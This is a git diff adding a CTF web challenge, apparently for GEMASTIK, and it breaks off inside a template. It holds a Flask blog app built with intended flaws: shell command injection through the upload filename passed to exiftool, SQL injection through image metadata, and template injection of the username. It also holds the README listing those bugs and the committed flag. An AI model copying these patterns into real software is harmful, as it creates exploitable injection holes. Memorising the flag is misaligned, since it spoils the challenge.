add blogpost and cdn chall
No files matched your search
@@ -0,0 +1,15 @@
|
|||||||
|
## Blogpost
|
||||||
|
|
||||||
|
db used: sqlite
|
||||||
|
flag.txt: GEMASTIK{random sha256 generated on app start}
|
||||||
|
|
||||||
|
feature:
|
||||||
|
[authentication required with login and register, register default as "user" role]
|
||||||
|
1. search feature
|
||||||
|
2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database
|
||||||
|
3. profile (if the account type is admin, render the content of flag.txt)
|
||||||
|
|
||||||
|
vuln1: Command injection on exiftool (payload: exp1.py)
|
||||||
|
vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py)
|
||||||
|
|
||||||
|
patching rules?:
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
FROM python:3.11-slim
|
||||||
|
|
||||||
|
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \
|
||||||
|
libimage-exiftool-perl \
|
||||||
|
sqlite3 \
|
||||||
|
build-essential \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY requirements.txt /app/
|
||||||
|
RUN pip install --no-cache-dir -r /app/requirements.txt
|
||||||
|
|
||||||
|
COPY . /app
|
||||||
|
RUN chmod +x /app/entrypoint.sh
|
||||||
|
|
||||||
|
RUN mkdir -p /data /app/uploads
|
||||||
|
|
||||||
|
EXPOSE 8000
|
||||||
|
|
||||||
|
CMD ["/app/entrypoint.sh"]
|
||||||
@@ -0,0 +1,248 @@
|
|||||||
|
import os
|
||||||
|
import sqlite3
|
||||||
|
from flask import *
|
||||||
|
from werkzeug.utils import *
|
||||||
|
from werkzeug.security import generate_password_hash, check_password_hash
|
||||||
|
import hashlib
|
||||||
|
import re
|
||||||
|
from markupsafe import escape as m_escape
|
||||||
|
|
||||||
|
APP_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads")
|
||||||
|
DB_PATH = "/data/app.db"
|
||||||
|
FLAG_PATH = "/app/flag.txt"
|
||||||
|
|
||||||
|
ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'}
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
app.secret_key = os.urandom(24)
|
||||||
|
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
|
||||||
|
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
|
||||||
|
|
||||||
|
def get_db():
|
||||||
|
db = getattr(g, "_database", None)
|
||||||
|
if db is None:
|
||||||
|
db = g._database = sqlite3.connect(DB_PATH, check_same_thread=False)
|
||||||
|
db.row_factory = sqlite3.Row
|
||||||
|
return db
|
||||||
|
|
||||||
|
@app.teardown_appcontext
|
||||||
|
def close_connection(exception):
|
||||||
|
db = getattr(g, "_database", None)
|
||||||
|
if db is not None:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
@app.route("/register", methods=["GET", "POST"])
|
||||||
|
def register():
|
||||||
|
if request.method == "POST":
|
||||||
|
username = request.form.get("username", "").strip()
|
||||||
|
password = request.form.get("password", "").strip()
|
||||||
|
if not username or not password:
|
||||||
|
flash("Missing username or password")
|
||||||
|
return redirect(url_for("register"))
|
||||||
|
hashed = generate_password_hash(password)
|
||||||
|
db = get_db()
|
||||||
|
try:
|
||||||
|
db.execute("INSERT INTO users (username, password, role) VALUES (?, ?, ?)", (username, hashed, "user"))
|
||||||
|
db.commit()
|
||||||
|
flash("Registered. Please login.")
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
except sqlite3.IntegrityError:
|
||||||
|
flash("Username already taken")
|
||||||
|
return redirect(url_for("register"))
|
||||||
|
return render_template("register.html")
|
||||||
|
|
||||||
|
@app.route("/login", methods=["GET", "POST"])
|
||||||
|
def login():
|
||||||
|
if request.method == "POST":
|
||||||
|
username = request.form.get("username", "").strip()
|
||||||
|
password = request.form.get("password", "").strip()
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute("SELECT id, username, password, role FROM users WHERE username = ?", (username,))
|
||||||
|
row = cur.fetchone()
|
||||||
|
if row and check_password_hash(row["password"], password):
|
||||||
|
session["user_id"] = row["id"]
|
||||||
|
session["username"] = row["username"]
|
||||||
|
session["role"] = row["role"]
|
||||||
|
flash("Logged in")
|
||||||
|
return redirect(url_for("index"))
|
||||||
|
else:
|
||||||
|
flash("Invalid credentials")
|
||||||
|
return render_template("login.html")
|
||||||
|
|
||||||
|
@app.route("/logout")
|
||||||
|
def logout():
|
||||||
|
session.clear()
|
||||||
|
flash("Logged out")
|
||||||
|
return redirect(url_for("index"))
|
||||||
|
|
||||||
|
@app.route("/", methods=["GET", "POST"])
|
||||||
|
def index():
|
||||||
|
if "user_id" not in session:
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
|
||||||
|
user_id = session["user_id"]
|
||||||
|
db = get_db()
|
||||||
|
q = request.values.get("q", "").strip()
|
||||||
|
|
||||||
|
if q:
|
||||||
|
cur = db.execute(
|
||||||
|
"SELECT p.*, u.username AS author "
|
||||||
|
"FROM posts p LEFT JOIN users u ON p.author_id = u.id "
|
||||||
|
"WHERE p.author_id = ? AND (p.title LIKE ? OR p.content LIKE ?) "
|
||||||
|
"ORDER BY p.id DESC",
|
||||||
|
(user_id, f"%{q}%", f"%{q}%")
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
cur = db.execute(
|
||||||
|
"SELECT p.*, u.username AS author "
|
||||||
|
"FROM posts p LEFT JOIN users u ON p.author_id = u.id "
|
||||||
|
"WHERE p.author_id = ? "
|
||||||
|
"ORDER BY p.id DESC",
|
||||||
|
(user_id,)
|
||||||
|
)
|
||||||
|
|
||||||
|
posts = cur.fetchall()
|
||||||
|
return render_template("index.html", posts=posts, q=q)
|
||||||
|
|
||||||
|
def allowed_file(filename):
|
||||||
|
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXT
|
||||||
|
|
||||||
|
@app.route("/create", methods=["GET", "POST"])
|
||||||
|
def create_post():
|
||||||
|
if "user_id" not in session:
|
||||||
|
flash("Login required")
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
if request.method == "POST":
|
||||||
|
title = request.form.get("title", "")
|
||||||
|
content = request.form.get("content", "")
|
||||||
|
file = request.files.get("image")
|
||||||
|
image_filename = None
|
||||||
|
metadata_text = ""
|
||||||
|
if file and allowed_file(file.filename):
|
||||||
|
original_filename = file.filename
|
||||||
|
save_path = os.path.join(app.config['UPLOAD_FOLDER'], original_filename)
|
||||||
|
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
|
||||||
|
file.save(save_path)
|
||||||
|
|
||||||
|
try:
|
||||||
|
cmd = f"exiftool {save_path}"
|
||||||
|
meta_file = save_path + ".meta"
|
||||||
|
full_cmd = f"{cmd} > {meta_file} 2>&1"
|
||||||
|
os_status = os.system(full_cmd)
|
||||||
|
if os.path.exists(meta_file):
|
||||||
|
with open(meta_file, "r", encoding="utf-8", errors="ignore") as mf:
|
||||||
|
metadata_text = mf.read()
|
||||||
|
else:
|
||||||
|
metadata_text = "no-metadata"
|
||||||
|
except Exception as e:
|
||||||
|
metadata_text = f"exif_err: {e}"
|
||||||
|
|
||||||
|
try:
|
||||||
|
h = hashlib.sha256()
|
||||||
|
with open(save_path, "rb") as fbin:
|
||||||
|
for chunk in iter(lambda: fbin.read(8192), b""):
|
||||||
|
h.update(chunk)
|
||||||
|
digest = h.hexdigest()
|
||||||
|
_, ext = os.path.splitext(original_filename)
|
||||||
|
ext = ext.lower() if ext else ""
|
||||||
|
new_filename = f"{digest}{ext}"
|
||||||
|
new_path = os.path.join(app.config['UPLOAD_FOLDER'], new_filename)
|
||||||
|
new_meta = new_path + ".meta"
|
||||||
|
|
||||||
|
if not os.path.exists(new_path):
|
||||||
|
os.replace(save_path, new_path)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
os.remove(save_path)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if os.path.exists(meta_file):
|
||||||
|
try:
|
||||||
|
os.replace(meta_file, new_meta)
|
||||||
|
except Exception:
|
||||||
|
try:
|
||||||
|
with open(meta_file, "rb") as mf_src, open(new_meta, "wb") as mf_dst:
|
||||||
|
mf_dst.write(mf_src.read())
|
||||||
|
os.remove(meta_file)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
image_filename = new_filename
|
||||||
|
if os.path.exists(new_meta):
|
||||||
|
try:
|
||||||
|
with open(new_meta, "r", encoding="utf-8", errors="ignore") as mf2:
|
||||||
|
metadata_text = mf2.read()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
image_filename = original_filename
|
||||||
|
|
||||||
|
db = get_db()
|
||||||
|
try:
|
||||||
|
cur = db.execute(
|
||||||
|
"INSERT INTO posts (title, content, image_filename, author_id) VALUES (?, ?, ?, ?)",
|
||||||
|
(title, content, image_filename, session['user_id'])
|
||||||
|
)
|
||||||
|
db.commit()
|
||||||
|
post_id = cur.lastrowid
|
||||||
|
metadata_insert = f"UPDATE posts SET metadata = '{metadata_text}' WHERE id = {post_id};"
|
||||||
|
db.executescript(metadata_insert)
|
||||||
|
db.commit()
|
||||||
|
except Exception as e:
|
||||||
|
db.execute(
|
||||||
|
"UPDATE posts SET metadata = ? WHERE id = ?",
|
||||||
|
(metadata_text, post_id if 'post_id' in locals() else None)
|
||||||
|
)
|
||||||
|
db.commit()
|
||||||
|
flash("Post created")
|
||||||
|
return redirect(url_for("index"))
|
||||||
|
else:
|
||||||
|
flash("Missing or invalid image (png/jpg/jpeg/bmp)")
|
||||||
|
return render_template("create_post.html")
|
||||||
|
|
||||||
|
@app.route('/uploads/<path:filename>')
|
||||||
|
def uploaded_file(filename):
|
||||||
|
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
|
||||||
|
|
||||||
|
@app.route("/post/<int:pid>")
|
||||||
|
def view_post(pid):
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute(
|
||||||
|
"SELECT p.*, u.username as author FROM posts p LEFT JOIN users u ON p.author_id = u.id WHERE p.id = ?",
|
||||||
|
(pid,)
|
||||||
|
)
|
||||||
|
post = cur.fetchone()
|
||||||
|
if not post:
|
||||||
|
abort(404)
|
||||||
|
|
||||||
|
return render_template("view_post.html", post=post)
|
||||||
|
|
||||||
|
@app.route("/profile")
|
||||||
|
def profile():
|
||||||
|
if "user_id" not in session:
|
||||||
|
flash("Login required")
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
db = get_db()
|
||||||
|
cur = db.execute("SELECT id, username, role FROM users WHERE id = ?", (session["user_id"],))
|
||||||
|
user = cur.fetchone()
|
||||||
|
flag_content = None
|
||||||
|
|
||||||
|
with open(os.path.join(APP_DIR, "templates", "profile.html"), "r", encoding="utf-8") as fh:
|
||||||
|
profile_template = fh.read()
|
||||||
|
|
||||||
|
username = user["username"] if user else ""
|
||||||
|
profile_source = profile_template.replace("{{ user.username }}", username)
|
||||||
|
|
||||||
|
if user and user["role"] == "admin":
|
||||||
|
try:
|
||||||
|
with open(FLAG_PATH, "r") as f:
|
||||||
|
flag_content = f.read().strip()
|
||||||
|
except Exception:
|
||||||
|
flag_content = "flag not found"
|
||||||
|
return render_template_string(profile_source, user=user, flag=flag_content)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
|
||||||
|
app.run(host="0.0.0.0", port=8000)
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
GEMASTIK{e4666237005e8f8699f0c02ca95b8e4fa5064c93d91c67070649c6e279c13670}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
version: '3.8'
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
build: .
|
||||||
|
container_name: ctf_web
|
||||||
|
ports:
|
||||||
|
- "4413:8000"
|
||||||
|
environment:
|
||||||
|
- FLASK_ENV=production
|
||||||
|
command: ["/app/entrypoint.sh"]
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -e
|
||||||
|
|
||||||
|
FLAG_SHA=$(head -c 64 /dev/urandom | sha256sum | awk '{print $1}')
|
||||||
|
FLAG="GEMASTIK{${FLAG_SHA}}"
|
||||||
|
echo "$FLAG" > /app/flag.txt
|
||||||
|
chmod 400 /app/flag.txt
|
||||||
|
|
||||||
|
mkdir -p /app/uploads
|
||||||
|
mkdir -p /data
|
||||||
|
|
||||||
|
DBFILE=/data/app.db
|
||||||
|
if [ ! -f "$DBFILE" ]; then
|
||||||
|
echo "Initializing database..."
|
||||||
|
sqlite3 $DBFILE < /app/init_db.sql
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Starting Flask app (port 8000)..."
|
||||||
|
export FLASK_APP=/app/app.py
|
||||||
|
export FLASK_ENV=production
|
||||||
|
|
||||||
|
python /app/app.py
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
PRAGMA foreign_keys = ON;
|
||||||
|
|
||||||
|
CREATE TABLE users (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
username TEXT UNIQUE NOT NULL,
|
||||||
|
password TEXT NOT NULL,
|
||||||
|
role TEXT NOT NULL DEFAULT 'user'
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE posts (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
title TEXT,
|
||||||
|
content TEXT,
|
||||||
|
image_filename TEXT,
|
||||||
|
metadata TEXT,
|
||||||
|
author_id INTEGER,
|
||||||
|
FOREIGN KEY(author_id) REFERENCES users(id)
|
||||||
|
);
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
Flask==2.2.5
|
||||||
|
werkzeug==2.2.3
|
||||||
|
Jinja2==3.1.2
|
||||||
@@ -0,0 +1,160 @@
|
|||||||
|
/* cool dark glass UI for the CTF blog */
|
||||||
|
/* Variables */
|
||||||
|
:root{
|
||||||
|
--bg-900: #0b0e12;
|
||||||
|
--bg-800: #0f1720;
|
||||||
|
--panel: rgba(255,255,255,0.04);
|
||||||
|
--glass: rgba(255,255,255,0.04);
|
||||||
|
--muted: rgba(255,255,255,0.6);
|
||||||
|
--accent-1: #6EE7B7; /* mint */
|
||||||
|
--accent-2: #7C4DFF; /* violet */
|
||||||
|
--danger: #FF6B6B;
|
||||||
|
--radius-lg: 14px;
|
||||||
|
--radius-md: 10px;
|
||||||
|
--shadow-1: 0 6px 20px rgba(2,6,23,0.6);
|
||||||
|
--card-border: linear-gradient(120deg, rgba(124,77,255,0.18), rgba(110,231,183,0.12));
|
||||||
|
}
|
||||||
|
|
||||||
|
*{box-sizing:border-box}
|
||||||
|
html,body{height:100%}
|
||||||
|
body{
|
||||||
|
font-family: Inter, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial;
|
||||||
|
background: radial-gradient(1200px 600px at 10% 10%, rgba(124,77,255,0.06), transparent),
|
||||||
|
radial-gradient(900px 400px at 90% 90%, rgba(110,231,183,0.03), transparent),
|
||||||
|
linear-gradient(180deg,var(--bg-900),var(--bg-800));
|
||||||
|
color: #e6eef6;
|
||||||
|
margin:0;
|
||||||
|
-webkit-font-smoothing:antialiased;
|
||||||
|
-moz-osx-font-smoothing:grayscale;
|
||||||
|
padding:28px;
|
||||||
|
line-height:1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
header{
|
||||||
|
display:flex;
|
||||||
|
gap:18px;
|
||||||
|
align-items:center;
|
||||||
|
justify-content:space-between;
|
||||||
|
max-width:1100px;
|
||||||
|
margin:0 auto 22px;
|
||||||
|
padding:14px 18px;
|
||||||
|
border-radius:var(--radius-lg);
|
||||||
|
background: linear-gradient(180deg, rgba(255,255,255,0.03), rgba(255,255,255,0.01));
|
||||||
|
box-shadow: var(--shadow-1);
|
||||||
|
border: 1px solid rgba(255,255,255,0.03);
|
||||||
|
backdrop-filter: blur(8px) saturate(120%);
|
||||||
|
}
|
||||||
|
header h1{
|
||||||
|
margin:0;
|
||||||
|
font-size:20px;
|
||||||
|
letter-spacing:0.4px;
|
||||||
|
display:flex;
|
||||||
|
gap:10px;
|
||||||
|
align-items:center;
|
||||||
|
}
|
||||||
|
.logo-dot{
|
||||||
|
width:12px;height:12px;border-radius:50%;
|
||||||
|
background: conic-gradient(from 180deg at 50% 50%, var(--accent-1), var(--accent-2));
|
||||||
|
box-shadow:0 4px 18px rgba(124,77,255,0.18), inset 0 -2px 6px rgba(255,255,255,0.04);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* nav */
|
||||||
|
nav a{
|
||||||
|
color:var(--muted);
|
||||||
|
text-decoration:none;
|
||||||
|
padding:8px 12px;
|
||||||
|
border-radius:10px;
|
||||||
|
font-size:14px;
|
||||||
|
}
|
||||||
|
nav a:hover{ color: white; background: rgba(255,255,255,0.03) }
|
||||||
|
nav a.active{
|
||||||
|
background: linear-gradient(90deg, rgba(124,77,255,0.12), rgba(110,231,183,0.08));
|
||||||
|
color: white;
|
||||||
|
box-shadow: 0 6px 18px rgba(2,6,23,0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
main{
|
||||||
|
max-width:1100px;
|
||||||
|
margin: 18px auto;
|
||||||
|
display:grid;
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
gap:18px;
|
||||||
|
}
|
||||||
|
|
||||||
|
form, article, .card{
|
||||||
|
background: linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
padding:16px;
|
||||||
|
border: 1px solid rgba(255,255,255,0.03);
|
||||||
|
box-shadow: 0 8px 30px rgba(2,6,23,0.45);
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="text"], input[type="password"], textarea, input[type="file"], select {
|
||||||
|
width:100%;
|
||||||
|
padding:10px 12px;
|
||||||
|
border-radius:8px;
|
||||||
|
background: rgba(255,255,255,0.02);
|
||||||
|
border:1px solid rgba(255,255,255,0.04);
|
||||||
|
color: #e6eef6;
|
||||||
|
outline:none;
|
||||||
|
font-size:14px;
|
||||||
|
margin-top:6px;
|
||||||
|
}
|
||||||
|
textarea{ min-height:120px; resize:vertical; }
|
||||||
|
|
||||||
|
button, .btn {
|
||||||
|
display:inline-block;
|
||||||
|
padding:10px 14px;
|
||||||
|
border-radius:10px;
|
||||||
|
border: none;
|
||||||
|
cursor:pointer;
|
||||||
|
font-weight:600;
|
||||||
|
background: linear-gradient(90deg, var(--accent-1), var(--accent-2));
|
||||||
|
color: #04111a;
|
||||||
|
transition: transform .12s ease, box-shadow .12s ease, opacity .12s;
|
||||||
|
box-shadow: 0 8px 20px rgba(124,77,255,0.12);
|
||||||
|
}
|
||||||
|
button:hover, .btn:hover{ transform: translateY(-2px); box-shadow: 0 14px 32px rgba(124,77,255,0.14) }
|
||||||
|
button.ghost{
|
||||||
|
background: transparent; color: var(--muted); border:1px solid rgba(255,255,255,0.04);
|
||||||
|
}
|
||||||
|
|
||||||
|
article h3{ margin:0 0 6px; font-size:18px }
|
||||||
|
article p { color: var(--muted); margin:6px 0; }
|
||||||
|
article img{ border-radius:8px; max-width:100%; display:block; margin:10px 0; border:1px solid rgba(255,255,255,0.03) }
|
||||||
|
|
||||||
|
pre{
|
||||||
|
background: linear-gradient(180deg, rgba(255,255,255,0.012), rgba(255,255,255,0.01));
|
||||||
|
border-radius:8px; padding:12px; overflow:auto; color:#cfeff1;
|
||||||
|
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", "Courier New", monospace;
|
||||||
|
font-size:13px; border:1px solid rgba(255,255,255,0.03);
|
||||||
|
}
|
||||||
|
|
||||||
|
ul{ list-style:none; padding:0; margin:0 0 10px 0; display:flex; gap:8px; flex-wrap:wrap }
|
||||||
|
ul li{
|
||||||
|
background: linear-gradient(90deg, rgba(124,77,255,0.12), rgba(110,231,183,0.07));
|
||||||
|
padding:8px 10px; border-radius:10px; color:#eafbf6; font-weight:600;
|
||||||
|
}
|
||||||
|
|
||||||
|
footer{ max-width:1100px; margin:18px auto; color:var(--muted); font-size:13px; text-align:center }
|
||||||
|
|
||||||
|
@media (min-width:900px){
|
||||||
|
main{ grid-template-columns: 1fr 360px; align-items:start; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.label-muted{ color:var(--muted); font-size:13px }
|
||||||
|
.badge{
|
||||||
|
display:inline-block; padding:6px 10px; border-radius:999px; font-weight:700; font-size:12px;
|
||||||
|
background: linear-gradient(90deg, rgba(124,77,255,0.12), rgba(110,231,183,0.06)); color:#e6fef0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.file-wrap{
|
||||||
|
display:flex; gap:12px; align-items:center;
|
||||||
|
}
|
||||||
|
.file-wrap input[type=file]{ display:none; }
|
||||||
|
.file-btn{
|
||||||
|
display:inline-flex; align-items:center; gap:8px; padding:8px 12px; border-radius:8px;
|
||||||
|
background: rgba(255,255,255,0.02); border:1px dashed rgba(255,255,255,0.04); color:var(--muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
:focus{ outline: 3px solid rgba(124,77,255,0.12); outline-offset:3px }
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
{% block content %}
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||||
|
|
||||||
|
<div class="card" style="padding:20px; max-width:900px; margin:auto;">
|
||||||
|
<h2 style="margin-top:0">Create post (upload image)</h2>
|
||||||
|
|
||||||
|
<form method="post" enctype="multipart/form-data" class="card" style="padding:16px; gap:12px; display:flex; flex-direction:column;">
|
||||||
|
<label>
|
||||||
|
<div class="label-muted">Title</div>
|
||||||
|
<input name="title" placeholder="Post title" type="text">
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label>
|
||||||
|
<div class="label-muted">Content</div>
|
||||||
|
<textarea name="content" rows="6" placeholder="Write something..."></textarea>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<div class="label-muted" style="margin-bottom:6px;">Image</div>
|
||||||
|
|
||||||
|
<div class="file-wrap" style="align-items:center;">
|
||||||
|
<label class="file-btn" for="image">Choose image</label>
|
||||||
|
<span class="label-muted" id="file-name">No file chosen</span>
|
||||||
|
<input id="image" type="file" name="image" accept=".png,.jpg,.jpeg,.bmp" onchange="handleFileChange(this)">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="preview-wrap" style="margin-top:12px; display:none;">
|
||||||
|
<div class="label-muted" style="margin-bottom:6px;">Preview</div>
|
||||||
|
<img id="preview" alt="preview" style="max-width:320px; border-radius:8px; border:1px solid rgba(255,255,255,0.03);">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div style="display:flex; gap:10px; align-items:center;">
|
||||||
|
<button class="btn" type="submit">Create</button>
|
||||||
|
<button type="button" class="button ghost" onclick="resetFile()" style="background:transparent; color:var(--muted); border:1px solid rgba(255,255,255,0.04); padding:8px 12px; border-radius:8px;">
|
||||||
|
Clear file
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function handleFileChange(input) {
|
||||||
|
const file = input.files && input.files[0];
|
||||||
|
const nameSpan = document.getElementById('file-name');
|
||||||
|
const previewWrap = document.getElementById('preview-wrap');
|
||||||
|
const preview = document.getElementById('preview');
|
||||||
|
|
||||||
|
if (!file) {
|
||||||
|
nameSpan.innerText = 'No file chosen';
|
||||||
|
previewWrap.style.display = 'none';
|
||||||
|
preview.src = '';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
nameSpan.innerText = file.name;
|
||||||
|
|
||||||
|
if (file.type.startsWith('image/')) {
|
||||||
|
const reader = new FileReader();
|
||||||
|
reader.onload = function(e) {
|
||||||
|
preview.src = e.target.result;
|
||||||
|
previewWrap.style.display = 'block';
|
||||||
|
};
|
||||||
|
reader.readAsDataURL(file);
|
||||||
|
} else {
|
||||||
|
previewWrap.style.display = 'none';
|
||||||
|
preview.src = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function resetFile() {
|
||||||
|
const input = document.getElementById('image');
|
||||||
|
input.value = '';
|
||||||
|
document.getElementById('file-name').innerText = 'No file chosen';
|
||||||
|
document.getElementById('preview-wrap').style.display = 'none';
|
||||||
|
document.getElementById('preview').src = '';
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
{% extends "layout.html" %}
|
||||||
|
{% block content %}
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||||
|
|
||||||
|
<style>
|
||||||
|
/* Small, page-specific responsive tweaks (safe to keep) */
|
||||||
|
.posts-container{
|
||||||
|
max-width:1200px;
|
||||||
|
margin:18px auto;
|
||||||
|
padding:0 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* responsive grid: auto-fit columns, each at least 320px wide */
|
||||||
|
.posts-grid{
|
||||||
|
display: grid;
|
||||||
|
gap: 16px;
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
|
||||||
|
align-items: start;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* each post card is a flexible grid: image column (if present) + content */
|
||||||
|
.post-card{
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 160px 1fr;
|
||||||
|
gap: 14px;
|
||||||
|
align-items: start;
|
||||||
|
padding: 14px;
|
||||||
|
min-height: 120px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* if no image, make content span full width */
|
||||||
|
.post-card.no-image{
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* thumbnail styling */
|
||||||
|
.post-card img{
|
||||||
|
width:100%;
|
||||||
|
height:120px;
|
||||||
|
object-fit:cover;
|
||||||
|
border-radius:8px;
|
||||||
|
display:block;
|
||||||
|
border:1px solid rgba(255,255,255,0.03);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* small adjustments for tighter screens */
|
||||||
|
@media (max-width:640px){
|
||||||
|
.post-card{ grid-template-columns: 1fr; }
|
||||||
|
.post-card img{ height:200px; }
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<div class="posts-container">
|
||||||
|
|
||||||
|
<!-- Search -->
|
||||||
|
<form method="GET" action="{{ url_for('index') }}" style="display:flex; gap:10px; margin-bottom:14px;">
|
||||||
|
<input name="q" placeholder="Search posts..." value="{{ q|default('') }}" style="flex:1; padding:10px 12px; border-radius:10px; border:1px solid rgba(255,255,255,0.03); background:rgba(255,255,255,0.02); color:inherit;">
|
||||||
|
<button class="btn" type="submit" style="min-width:100px;">Search</button>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<h2 style="margin:0 0 12px 0">Posts</h2>
|
||||||
|
|
||||||
|
<div class="posts-grid">
|
||||||
|
{% for p in posts %}
|
||||||
|
{# determine if image exists to add no-image class #}
|
||||||
|
<article class="card post-card {% if not p['image_filename'] %}no-image{% endif %}">
|
||||||
|
{% if p['image_filename'] %}
|
||||||
|
<div>
|
||||||
|
<a href="{{ url_for('view_post', pid=p['id']) }}">
|
||||||
|
<img src="{{ url_for('uploaded_file', filename=p['image_filename']) }}" alt="img">
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<h3 style="margin:0 0 6px 0; font-size:18px;">
|
||||||
|
<a href="{{ url_for('view_post', pid=p['id']) }}" style="color:inherit; text-decoration:none;">
|
||||||
|
{{ p['title'] or 'Untitled' }}
|
||||||
|
</a>
|
||||||
|
</h3>
|
||||||
|
|
||||||
|
<div style="display:flex; gap:8px; align-items:center; margin-bottom:8px;">
|
||||||
|
<span class="label-muted">By {{ p['author'] or 'unknown' }}</span>
|
||||||
|
{% if p['author'] and p['author'] == session.get('username') %}
|
||||||
|
<span class="badge">you</span>
|
||||||
|
{% endif %}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p style="margin:0 0 10px 0; color:var(--muted);">
|
||||||
|
{% if p['content'] %}
|
||||||
|
{{ (p['content'][:200] + '...') if p['content']|length > 200 else p['content'] }}
|
||||||
|
{% else %}
|
||||||
|
<span class="label-muted">No content</span>
|
||||||
|
{% endif %}
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div style="display:flex; gap:10px; align-items:center; margin-top:8px;">
|
||||||
|
<a class="btn" href="{{ url_for('view_post', pid=p['id']) }}" style="padding:8px 12px; font-size:14px;">Read</a>
|
||||||
|
<span class="label-muted" style="font-size:13px;">Post ID: {{ p['id'] }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</article>
|
||||||
|
{% else %}
|
||||||
|
<div class="card" style="text-align:center; padding:24px;">
|
||||||
|
<p style="margin:0; color:var(--muted);">No posts yet.</p>
|
||||||
|
</div>
|
||||||
|
{% endfor %}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
(function(){
|
||||||
|
const q = document.querySelector('input[name="q"]');
|
||||||
|
if (q) q.focus();
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
{% endblock %}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
